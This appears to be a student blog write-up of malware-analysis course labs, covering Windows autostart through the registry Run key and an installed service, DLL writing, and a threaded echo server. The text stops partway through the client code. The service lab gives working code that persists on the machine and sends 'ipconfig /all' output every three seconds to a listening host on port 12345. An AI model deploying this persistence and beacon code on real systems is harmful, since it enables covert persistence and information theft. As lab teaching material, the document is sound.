Malware Analysis Practice2
最近更新:2025-10-20   |   字数总计:6.3k   |   阅读估时:28分钟   |   阅读量:
  1. 通过修改注册表添加服务的方式实现自启动
    1. 实验要求
    2. 实验环境
    3. 实验目的
    4. 实验步骤
      1. 实践-1-修改注册表自启动
        1. Run/RunOnce/RunOnceEx的区别
      2. 实践-2-添加服务实现自启动
        1. 参考资料
  2. DLL文件编写
    1. 实验要求
    2. 实验环境
    3. 实验目的
    4. 实验步骤
      1. 生成DLL文件
      2. 调用DLL文件
      3. 测试
  • 简单多线程服务器
    1. 实验要求
    2. 实验环境
    3. 实验目的
    4. 实验步骤
      1. 服务端的代码task3_server.cpp
      2. 客户端的代码task3_client.cpp
      3. 测试
  • 通过修改注册表添加服务的方式实现自启动

    实验要求

    • 编写代码,编辑注册表的Run/RunOnce/RunOnceEx键(任选其一,并明确三个键的区别),达到让某一程序在系统启动后自动运行的目的(可以以计算器、记事本等作为目标程序)。
    • 以服务方式实现自启动,以DLL或者EXE方式均可。

    实验环境

    • Windows 7或Windows 10主机(虚拟机);
    • 代码编辑器;
    • C/C++代码运行所需环境。

    实验目的

    了解恶意代码自启动常用手段。

    实验步骤

    实践-1-修改注册表自启动

    利用C语言编程,编辑HKEY_CURRENT_USER下的自启动健Run,实现开机自启动谷歌浏览器。

    用到了Windows.h库的regOpenResultEx函数和regSetValueEx等函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    #include <Windows.h>
    #include <stdio.h>

    int main() {
    HKEY hKey;
    LONG regOpenResult;

    // 打开注册表键
    // 注:HKEY_CURRENT_USER表示只针对当前用户,若要改为HKEY_LOCAL_MACHINE则需要管理员权限
    regOpenResult = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey);
    if (regOpenResult != ERROR_SUCCESS) {
    printf("无法打开注册表键: %d\n", regOpenResult);
    return 1;
    }

    // 设置键值的名字对应的值
    const char* name = "auto_run_chrome";
    const char* value = "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"; // 设置要自启动的程序的路径

    //将其写入run下
    regOpenResult = RegSetValueEx(hKey,name,0,REG_SZ,value,strlen(value)+1);
    if(regOpenResult != ERROR_SUCCESS){
    printf("自启动项写入失败:%d\n",regOpenResult);
    return 1;
    }else{
    printf("自启动项写入成功!\n");
    }

    // 关闭注册表键
    RegCloseKey(hKey);

    return 0;
    }
    1
    2
    3
    PS C:\Users\jay1an\Desktop\2023-10-30> gcc .\task1.c
    PS C:\Users\jay1an\Desktop\2023-10-30> .\a.exe
    自启动项写入成功!

    然后再查看注册表,会发现谷歌浏览器已经被添加到run下了。

    1

    切换用户时(重启动也算),电脑会自动打开谷歌浏览器。

    Run/RunOnce/RunOnceEx的区别

    只考虑在 HKEY_CURRENT_USER 下的情况,HKEY_CURRENT_USER 中的项目只适用于当前登录的用户。

    下面是有关 RunRunOnceRunOnceEx 键的主要区别:

    1. Run (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run):
      • 执行时机:这个键中的项目在当前用户每次登录后都会自动运行,包括系统启动和用户切换。
    2. RunOnce (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce):
      • 执行时机:这个键中的项目只在当前用户的下一次登录后运行一次,然后自动从注册表中删除。
    3. RunOnceEx (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceEx):
      • 执行时机:这个键中的项目类似于RunOnce键,只在当前用户的下一次登录后运行一次,然后自动从注册表中删除。
      • 额外特性RunOnceEx键允许更复杂的操作,如在项目中指定一个批处理文件或脚本,以便在登录时执行多个命令。

    在单个用户的情况下,可以使用 Run 键来配置在每次该用户登录时自动运行的程序,而 RunOnce 键用于配置只在该用户的下一次登录时运行一次的程序。RunOnceEx 提供了更高级的选项,可以用于执行复杂的任务。

    实践-2-添加服务实现自启动

    创建服务的代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    #include <windows.h>
    #include <stdio.h>

    int main() {
    SC_HANDLE schSCManager, schService;
    // 填写系统服务exe文件
    TCHAR szPath[MAX_PATH] = "C:\\Users\\jay1an\\Desktop\\Practice2\\2023-11-13-service\\myservice.exe";

    // 打开服务控制管理器
    schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (schSCManager == NULL) {
    DWORD error = GetLastError();
    if (error == ERROR_ACCESS_DENIED) {
    printf("Access denied. Run the program as administrator.\n");
    } else {
    printf("OpenSCManager failed (%d)\n", error);
    }
    return 1;
    }

    // 创建服务并设置其启动参数
    schService = CreateService(
    schSCManager, // SCManager database
    TEXT("myservice"), // name of service
    TEXT("malicious code lab"), // name to display
    SERVICE_ALL_ACCESS, // desired access
    SERVICE_WIN32_OWN_PROCESS, // service type
    SERVICE_AUTO_START, // start type
    SERVICE_ERROR_NORMAL, // error control type
    szPath, // path to service's binary
    NULL, // no load ordering group
    NULL, // no tag identifier
    NULL, // no dependencies
    NULL, // LocalSystem account
    NULL // no password
    );

    if (schService == NULL) {
    fprintf(stderr, "CreateService failed (%d)\n", GetLastError());
    CloseServiceHandle(schSCManager);
    return 1;
    } else {
    printf("Service installed successfully.\n");
    }

    // 启动服务
    // 这里需要管理员权限
    if (!StartService(schService, 0, NULL)) {
    fprintf(stderr, "StartService failed (%d)\n", GetLastError());
    }else{
    printf("Service starts successfully.\n");
    }

    // 关闭句柄
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);

    return 0;
    }

    使用管理员权限运行创建-启动服务的程序:

    10

    可以在windows注册表(regedit)中查看,也可以在服务控制台(services.msc)中查看。

    11

    服务注册表位于注册表路径 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\YourServiceName 下,其中 YourServiceName 是你的服务的名称。

    在 Windows 操作系统中,服务注册表中的 ImagePath 是服务二进制文件的路径。该注册表项指定了服务的可执行文件位置。当服务被启动时,系统将加载该二进制文件,并执行其中的服务代码。

    Start的值为2,表示该服务在系统启动时自动启动。

    但是自启动服务程序并不是普通的程序,而是要求程序创建服务入口点函数,否则,不能启动系统服务。

    myservice.cpp代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    #include <winsock2.h>
    #include <windows.h>
    #include <ws2tcpip.h>
    #include <cstdio>

    #pragma comment(lib, "ws2_32.lib")

    #define DEFAULT_BUFLEN 1024
    using namespace std;

    SERVICE_STATUS g_ServiceStatus = {0};
    SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
    HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE;

    // 自定义函数
    // 实现通过tcp连接向192.168.65.1的12345端口发送'ipconfig /all'的执行结果
    void cmd(const char *host,int port){

    SOCKET ShellSock;
    sockaddr_in C2addr;

    WSADATA Sockver = { 0 };
    WSAStartup(MAKEWORD(2, 2), &Sockver);

    // 创建套接字
    ShellSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 设置服务器地址
    C2addr.sin_family = AF_INET;
    C2addr.sin_addr.S_un.S_addr = inet_addr(host);
    C2addr.sin_port = htons(port);

    if (WSAConnect(ShellSock, (SOCKADDR*)&C2addr, sizeof(C2addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
    closesocket(ShellSock);
    WSACleanup();
    return;
    }else{
    HANDLE hReadPipe = NULL;
    HANDLE hWritePipe = NULL;
    SECURITY_ATTRIBUTES securityAttributes = { 0 };
    BOOL bRet = FALSE;
    STARTUPINFO si = { 0 };
    char command[DEFAULT_BUFLEN];
    PROCESS_INFORMATION pi = { 0 };
    char pszResultBuffer[DEFAULT_BUFLEN];

    securityAttributes.bInheritHandle = TRUE;
    securityAttributes.nLength = sizeof(securityAttributes);
    securityAttributes.lpSecurityDescriptor = NULL;

    bRet = CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
    if (!bRet || hReadPipe == INVALID_HANDLE_VALUE) {
    closesocket(ShellSock);
    WSACleanup();
    }

    si.cb = sizeof(si);
    si.hStdError = hWritePipe;
    si.hStdOutput = hWritePipe;
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

    // 构造命令
    strcpy(command, "cmd.exe /c ");
    strcat(command, "ipconfig /all");

    bRet = CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    WaitForSingleObject(pi.hThread, INFINITE);
    WaitForSingleObject(pi.hProcess, INFINITE);
    memset(pszResultBuffer, 0, sizeof(pszResultBuffer));
    // 读取子进程的输出
    DWORD bytesRead;
    if (!ReadFile(hReadPipe, pszResultBuffer, DEFAULT_BUFLEN, &bytesRead, NULL)) {
    closesocket(ShellSock);
    WSACleanup();
    }

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(hWritePipe);
    CloseHandle(hReadPipe);
    // 发送输出到套接字
    send(ShellSock, pszResultBuffer, DEFAULT_BUFLEN, 0);
    // 关闭套接字
    closesocket(ShellSock);
    WSACleanup();
    }
    }

    // 该服务实现了,每三秒向远方主机发送'ipconfig /all'的执行结果
    void StartServiceWork() {
    while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0) {
    // 这里放置你的服务工作逻辑
    const char* host = "192.168.65.1";
    int port = 12345;
    cmd(host,port);
    Sleep(3000);
    }
    }

    VOID WINAPI ServiceCtrlHandler(DWORD CtrlCode) {
    if (CtrlCode == SERVICE_CONTROL_STOP) {
    g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
    SetServiceStatus(g_StatusHandle, &g_ServiceStatus);

    SetEvent(g_ServiceStopEvent);
    }
    }

    VOID WINAPI ServiceMain(DWORD argc, LPTSTR *argv) {
    g_StatusHandle = RegisterServiceCtrlHandler("myservice", ServiceCtrlHandler);

    g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    SetServiceStatus(g_StatusHandle, &g_ServiceStatus);

    g_ServiceStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
    g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
    g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(g_StatusHandle, &g_ServiceStatus);

    StartServiceWork();

    g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
    }

    int main(int argc, char* argv[]) {
    char name []= "myservice";
    SERVICE_TABLE_ENTRY ServiceTable[] = {
    { name, (LPSERVICE_MAIN_FUNCTION)ServiceMain},
    {NULL, NULL}
    };

    StartServiceCtrlDispatcher(ServiceTable);

    return 0;
    }

    192.168.65.1主机是用nc对12345端口进行监听:

    1
    nc -Lvvp 12345

    12

    运行了服务的虚拟机:

    13

    注:

    1
    [System Process]	0	TCP	win-0r0scl2qm11.localdomain	49396	laptop-j2g20010	12345	TIME_WAIT
    • [System Process]: 这可能是指示此TCP连接所属的进程名称。在这里是“System Process”,表示这个连接由系统进程处理。
    • 0: 这可能是与TCP连接相关的进程ID(PID),但在这个文本中显示为0。这可能是因为系统进程通常不与特定的用户级进程关联。
    • TCP: 表示这是一个TCP连接。
    • win-0r0scl2qm11.localdomain: 是本地主机的名称或标识。
    • 49396: 是本地主机的端口号。
    • laptop-j2g20010: 是远程主机的名称或标识。
    • 12345: 是远程主机的端口号。
    • TIME_WAIT: 是连接状态,表示连接已经关闭,但在等待一段时间后将被系统释放。
    参考资料

    https://www.cnblogs.com/TJTO/p/13216616.html

    DLL文件编写

    实验要求

    编写一个DLL,使得在动态加载该DLL时,能够弹出“目标DLL已加载”的对话框。同时,为DLL添加两个导出函数,分别实现读取文件并打印出来,以及写入文件的功能,并且能够被其他程序动态调用。

    实验环境

    • Windows 7或Windows 10主机(虚拟机);

    • 代码编辑器;

    • C/C++代码运行所需环境。

    实验目的

    了解DLL的作用和调用其函数的方法。

    实验步骤

    生成DLL文件

    编写task2.cpp,这段代码是一个 DLL(动态链接库)的主入口函数 DllMain,以及三个导出函数 function_1ReadAndPrintFileWriteToFile

    • DllMain 是 DLL 的主入口函数,它在不同的情况下被调用,根据 ul_reason_for_call 参数的不同值,可以执行不同的操作。

    task2.cpp中的DLLMain函数在每一次被调用后都会通过MessageBoxW函数提示当前的ul_reason_for_cal

    参数意义:

    hModule参数:指向DLL本身的实例句柄;

    ul_reason_for_call参数:指明了DLL被调用的原因,可以有以下4个取值:

    1. DLL_PROCESS_ATTACH:进程映射

    当DLL被进程 <<第一次>> 调用时,导致DllMain函数被调用,同时ul_reason_for_call的值为DLL_PROCESS_ATTACH,如果同一个进程后来再次调用此DLL时,操作系统只会增加DLL的使用次数,不会再用DLL_PROCESS_ATTACH调用DLL的DllMain函数。

    1. DLL_PROCESS_DETACH:进程卸载

    当DLL被从进程的地址空间解除映射时,系统调用了它的DllMain,传递的ul_reason_for_call值是DLL_PROCESS_DETACH

    ★如果进程的终结是因为调用了TerminateProcess,系统就不会用DLL_PROCESS_DETACH来调用DLL的DllMain函数。这就意味着DLL在进程结束前没有机会执行任何清理工作。

    1. DLL_THREAD_ATTACH:线程映射

    当进程创建一线程时,系统查看当前映射到进程地址空间中的所有DLL文件映像,并用值DLL_THREAD_ATTACH调用DLL的DllMain函数。新创建的线程负责执行这次的DLL的DllMain函数,只有当所有的DLL都处理完这一通知后,系统才允许线程开始执行它的线程函数。

    1. DLL_THREAD_DETACH:线程卸载

    如果线程调用了ExitThread来结束线程(线程函数返回时,系统也会自动调用ExitThread),系统查看当前映射到进程空间中的所有DLL文件映像,并用DLL_THREAD_DETACH来调用DllMain函数,通知所有的DLL去执行线程级的清理工作。

    ★注意:如果线程的结束是因为系统中的一个线程调用了TerminateThread,系统就不会用值DLL_THREAD_DETACH来调用所有DLL的DllMain函数。

    lpReserved参数:保留,目前没什么意义。

    • function_1:一个简单的弹窗显示消息的函数,通过 MessageBoxW 函数显示一个包含 “Hello, this is function_1” 的消息框。
    • ReadAndPrintFile:读取文件并打印内容到标准输出。它接收一个文件名作为参数,尝试以二进制方式打开文件,如果文件打开成功,将文件内容输出到标准输出流(std::cout)。
    • WriteToFile:写入内容到文件中。它接收一个文件名、要写入的内容和文件打开模式作为参数。打开文件时使用了传入的模式,将内容写入文件后关闭文件。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    #include <Windows.h>
    #include <iostream>
    #include <fstream>

    BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
    {
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    // DLL 被进程加载时调用
    // 在这里进行初始化工作
    MessageBoxW(NULL, L"DLL_PROCESS_ATTACH", L"DLL_PROCESS_ATTACH", MB_ICONINFORMATION | MB_OK);
    break;

    case DLL_THREAD_ATTACH:
    // 线程创建时调用
    MessageBoxW(NULL, L"DLL_THREAD_ATTACH", L"DLL_THREAD_ATTACH", MB_ICONINFORMATION | MB_OK);
    break;

    case DLL_THREAD_DETACH:
    // 线程销毁时调用
    MessageBoxW(NULL, L"DLL_THREAD_DETACH", L"DLL_THREAD_DETACH", MB_ICONINFORMATION | MB_OK);
    break;

    case DLL_PROCESS_DETACH:
    // DLL 被进程卸载时调用
    // 在这里进行清理工作
    MessageBoxW(NULL, L"DLL_PROCESS_DETACH", L"DLL_PROCESS_DETACH", MB_ICONINFORMATION | MB_OK);
    break;
    }

    return TRUE;
    }

    // 测试函数,调用functioN_1则会弹出提示消息框
    extern "C" __declspec(dllexport) void function_1()
    {
    MessageBoxW(NULL, L"Hello, this is function_1", L"Function_1", MB_ICONINFORMATION | MB_OK);
    }

    extern "C" __declspec(dllexport) void ReadAndPrintFile(const char* filename) {
    // 读取文件并打印内容
    std::ifstream fileStream(filename, std::ios::binary);
    if (fileStream.is_open()) {
    std::cout << "Content of " << filename << ":\n";
    std::cout << fileStream.rdbuf();
    fileStream.close();
    } else {
    std::cerr << "Error opening file: " << filename << "\n";
    }
    }

    extern "C" __declspec(dllexport) void WriteToFile(const char* filename, const char* content, std::ios_base::openmode mode) {
    // 写入文件
    std::ofstream fileStream(filename, mode | std::ios::binary);
    if (fileStream.is_open()) {
    fileStream << content;
    fileStream.close();
    std::cout << "Content written to " << filename << "\n";
    } else {
    std::cerr << "Error opening file for writing: " << filename << "\n";
    }
    }

    将其导出为DLL文件。

    1
    gcc -shared -o task2.dll task2.cpp
    调用DLL文件

    然后编写a.cpp,使其加载刚刚导出的task2.dll文件,并调用task2.dll里的函数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    #include <Windows.h>
    #include <iostream>

    // 声明函数指针类型
    typedef void(*Function1Ptr)();
    typedef void(*ReadAndPrintFilePtr)(const char*);
    typedef void(*WriteToFilePtr)(const char*, const char*, std::ios_base::openmode);

    int main(int argc, char* argv[]) {
    if (argc < 2) {
    std::cerr << "Usage: " << argv[0] << " <filename> [content]\n";
    return 1;
    }

    // 加载 DLL
    HMODULE dllHandle = LoadLibraryA("task2.dll");

    if (dllHandle != NULL) {
    // 获取函数地址
    Function1Ptr function1 = (Function1Ptr)GetProcAddress(dllHandle, "function_1");
    ReadAndPrintFilePtr readAndPrintFile = (ReadAndPrintFilePtr)GetProcAddress(dllHandle, "ReadAndPrintFile");
    WriteToFilePtr writeToFile = (WriteToFilePtr)GetProcAddress(dllHandle, "WriteToFile");

    if (function1 != NULL && readAndPrintFile != NULL && writeToFile != NULL) {
    // 调用 DLL 中的函数
    function1();
    if(argc == 2){
    readAndPrintFile(argv[1]); // 使用命令行参数指定的文件名
    }
    if (argc >= 3) {
    writeToFile(argv[1], argv[2], std::ios::app); // 如果有第三个参数,使用命令行参数指定的内容
    }
    } else {
    std::cerr << "Failed to get function addresses.\n";
    }

    // 卸载 DLL
    FreeLibrary(dllHandle);
    } else {
    std::cerr << "Failed to load DLL.\n";
    }

    return 0;
    }

    编译a.cpp

    1
    gcc a.cpp
    测试

    运行a.exe测试。

    1. 查看test.txt文件中的内容
    1
    a.exe test.txt

    当task2.dll文件被导入,DLLMain函数会被执行,现在是被a.exe进程导入,所以运行了switch case语句中DLL_PROCESS_ATTACH分支下的代码。

    2

    然后调用了function_1函数,消息框被弹出。

    3

    紧接着运行ReadAndPrintFile函数,打印test.txt文件中的内容,然后a.exe在结束之前需要执行FreeLibrary卸载DLL文件,这时switch case语句中DLL_PROCESS_DETACH分支下的代码会被执行。

    4

    1. 往test.txt文件中写入数据。
    1
    a.exe test.txt "data"

    5

    简单多线程服务器

    实验要求

    编写一个简单的echo服务器程序(即:客户端与服务器建立连接后,在客户端输入消息,服务器端就会打印输入的消息),在4444端口进行监听。每有一个客户端进行连接时候,服务器创建一个子线程,对客户端程序进行服务。需要引入互斥量对共享代码区或全局变量进行互斥访问,要求使用信号传递等待机制。根据要求,客户端代码也需要自行编写。

    实验环境

    • Windows 7或Windows 10主机(虚拟机)至少两台;

    • 代码编辑器;

    • C/C++代码运行所需环境。

    实验目的

    了解恶意代码在通信时,会使用到的最基本的技术。练习多线程编程。

    实验步骤

    服务端的代码task3_server.cpp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    #include <iostream>
    #include <winsock2.h>
    #include <ws2tcpip.h>
    #include <thread>
    #include <mutex>
    #include <vector>

    #pragma comment(lib, "ws2_32.lib")

    std::mutex mtx;

    // 存储客户端信息的结构体
    struct ClientInfo {
    std::string ip;
    int port;
    };

    // 存储连接的客户端信息的容器
    std::vector<ClientInfo> connectedClients;

    void HandleClient(SOCKET clientSocket) {
    char buffer[1024];
    int bytesReceived;

    // 获取客户端地址信息
    sockaddr_in clientAddr;
    int addrLen = sizeof(clientAddr);
    getpeername(clientSocket, (sockaddr*)&clientAddr, &addrLen);

    // 存储客户端信息到容器
    // 保护容器
    {
    std::lock_guard<std::mutex> lock(mtx);
    // 正在对互斥锁 mtx 进行加锁,当 lock 对象超出范围时(例如,在块或函数的末尾),它会自动释放对互斥锁的锁定。
    // 在这里,每一次循环结束之后就会释放锁。
    // 该mtx是对vector进行保护。
    // 所以这里必须要在大括号中,让mtx出大括号之后就被释放,不然会死锁....
    connectedClients.push_back({inet_ntoa(clientAddr.sin_addr), ntohs(clientAddr.sin_port)});

    // 打印当前连接情况
    std::cout << "Client connected. Total clients: " << connectedClients.size() << "\n";
    for (const auto& client : connectedClients) {
    std::cout << " " << client.ip << ":" << client.port << "\n";
    }
    std::cout << "-----------------------------\n";
    }

    do {
    // 接收客户端消息
    bytesReceived = recv(clientSocket, buffer, sizeof(buffer), 0);
    if (bytesReceived > 0) {
    // 对共享资源使用互斥量进行保护
    // 保护cout
    std::lock_guard<std::mutex> lock(mtx);
    // 打印客户端信息及消息到本地
    buffer[bytesReceived] = '\0';
    std::cout << "Received from " << inet_ntoa(clientAddr.sin_addr) << ":" << ntohs(clientAddr.sin_port)
    << " - " << buffer << std::endl;

    // 原样发送消息回客户端
    send(clientSocket, buffer, bytesReceived, 0);
    } else if (bytesReceived == 0) {
    // 客户端断开连接
    // 保护cout和容器
    std::lock_guard<std::mutex> lock(mtx);
    std::cout << "Client " << inet_ntoa(clientAddr.sin_addr) << ":" << ntohs(clientAddr.sin_port)
    << " disconnected.\n";

    // 从容器中移除断开连接的客户端信息
    for (auto it = connectedClients.begin(); it != connectedClients.end(); ++it) {
    if (it->ip == inet_ntoa(clientAddr.sin_addr) && it->port == ntohs(clientAddr.sin_port)) {
    connectedClients.erase(it);
    break;
    }
    }
    }
    } while (bytesReceived > 0);

    // 关闭套接字
    closesocket(clientSocket);
    }

    int main() {
    // 初始化Winsock
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
    std::cerr << "Failed to initialize Winsock.\n";
    return 1;
    }

    // 创建一个套接字(socket),用于建立网络连接
    SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
    if (serverSocket == INVALID_SOCKET) {
    // 如果创建套接字失败,输出错误信息,清理Winsock并返回错误码1
    std::cerr << "Failed to create socket.\n";
    WSACleanup();
    return 1;
    }

    // 设置服务器地址信息
    sockaddr_in serverAddr; // 定义一个 sockaddr_in 结构体用于存储服务器地址信息
    serverAddr.sin_family = AF_INET; // 使用IPv4地址
    serverAddr.sin_port = htons(4444); // 设置服务器监听的端口号为4444
    serverAddr.sin_addr.s_addr = INADDR_ANY; // 服务器监听任何可用的网络接口

    // 绑定套接字到服务器地址
    if (bind(serverSocket, (sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
    // 如果绑定失败,输出错误信息,关闭套接字,清理Winsock,并返回错误码1
    std::cerr << "Failed to bind socket.\n";
    closesocket(serverSocket);
    WSACleanup();
    return 1;
    }

    // 监听套接字,等待客户端连接请求
    if (listen(serverSocket, SOMAXCONN) == SOCKET_ERROR) {
    // 如果监听失败,输出错误信息,关闭套接字,清理Winsock,并返回错误码1
    std::cerr << "Failed to listen on socket.\n";
    closesocket(serverSocket);
    WSACleanup();
    return 1;
    }

    std::cout << "Server is listening on port 4444...\n";

    while (true) {
    // 接受客户端连接
    SOCKET clientSocket = accept(serverSocket, nullptr, nullptr);
    if (clientSocket == INVALID_SOCKET) {
    std::cerr << "Failed to accept client connection.\n";
    closesocket(serverSocket);
    WSACleanup();
    return 1;
    }

    // 创建子线程为客户端提供服务
    std::thread(HandleClient, clientSocket).detach();
    }

    // 关闭套接字和清理Winsock
    closesocket(serverSocket);
    WSACleanup();

    return 0;
    }

    这段代码是一个简单的基于Winsock的服务器程序,它监听端口4444,接受客户端连接,然后为每个客户端创建一个新的线程来处理通信。以下是这段代码的主要功能和一些值得注意的地方:

    1. 初始化Winsock:

      1
      2
      3
      if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
      // ...
      }

      这部分代码用于初始化Winsock库,确保网络库正确启动。

    2. 创建套接字并绑定:

      1
      2
      3
      4
      5
      SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
      // ...
      bind(serverSocket, (sockaddr*)&serverAddr, sizeof(serverAddr));
      // ...
      listen(serverSocket, SOMAXCONN);

      在这里,创建了一个套接字,将其绑定到特定地址和端口,然后开始监听客户端的连接请求。

    3. 主循环:

      1
      2
      3
      4
      5
      6
      while (true) {
      // 接受客户端连接
      SOCKET clientSocket = accept(serverSocket, nullptr, nullptr);
      // ...
      std::thread(HandleClient, clientSocket).detach();
      }

      服务器在一个无限循环中等待客户端连接。每当有新的客户端连接时,服务器会为该客户端创建一个新的线程(使用 std::thread)并调用 HandleClient 函数来处理与客户端的通信。

    4. HandleClient函数:

      1
      2
      3
      void HandleClient(SOCKET clientSocket) {
      // ...
      }

      这个函数负责处理与每个客户端的通信。它首先获取客户端的地址信息,然后将客户端信息存储到 connectedClients 容器中。接着,它进入一个循环,不断接收客户端的消息,处理消息,并在客户端断开连接时进行清理。注意到这些对 connectedClients 容器和输出到 std::cout 的操作都被互斥锁 mtx 保护,以防止多线程访问时的竞争条件。

    5. 注意事项:

      • 使用了互斥锁 mtx 来保护对 connectedClients 容器的并发访问,确保数据一致性。
      • 为了避免死锁,对 connectedClients 容器的访问被包裹在大括号中,确保在离开大括号时锁被释放。
      • 使用 std::thread(HandleClient, clientSocket).detach(); 将客户端处理函数在新线程中运行,但这可能导致线程不能被适当地等待和管理,因此需要小心处理线程的生命周期。
    客户端的代码task3_client.cpp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    #include <iostream>
    #include <winsock2.h>

    // 链接到 ws2_32.lib 库
    #pragma comment(lib, "ws2_32.lib")

    // 函数用于将数据发送给服务器
    void sendDataToServer(SOCKET clientSocket, const std::string& message) {
    // 使用 send 函数发送数据到服务器
    int bytesSent = send(clientSocket, message.c_str(), message.size(), 0);
    // 检查发送是否成功
    if (bytesSent == SOCKET_ERROR) {
    std::cerr << "Failed to send data to server.\n";
    }
    }

    // 函数用于从服务器接收数据
    void receiveDataFromServer(SOCKET clientSocket) {
    char buffer[1024];
    // 使用 recv 函数接收从服务器发来的数据
    int bytesRead = recv(clientSocket, buffer, sizeof(buffer), 0);
    // 处理接收到的数据
    if (bytesRead > 0) {
    buffer[bytesRead] = '\0';
    std::cout << "Received from server: " << buffer << "\n";
    } else if (bytesRead == 0) {
    std::cout << "Server closed the connection.\n";
    } else {
    std::cerr << "Failed to receive data from server.\n";
    }
    }

    int main() {
    // 初始化 Winsock 库
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
    std::cerr << "Failed to initialize Winsock.\n";
    return 1;
    }

    // 创建套接字
    SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, 0);
    if (clientSocket == INVALID_SOCKET) {
    std::cerr << "Failed to create socket.\n";
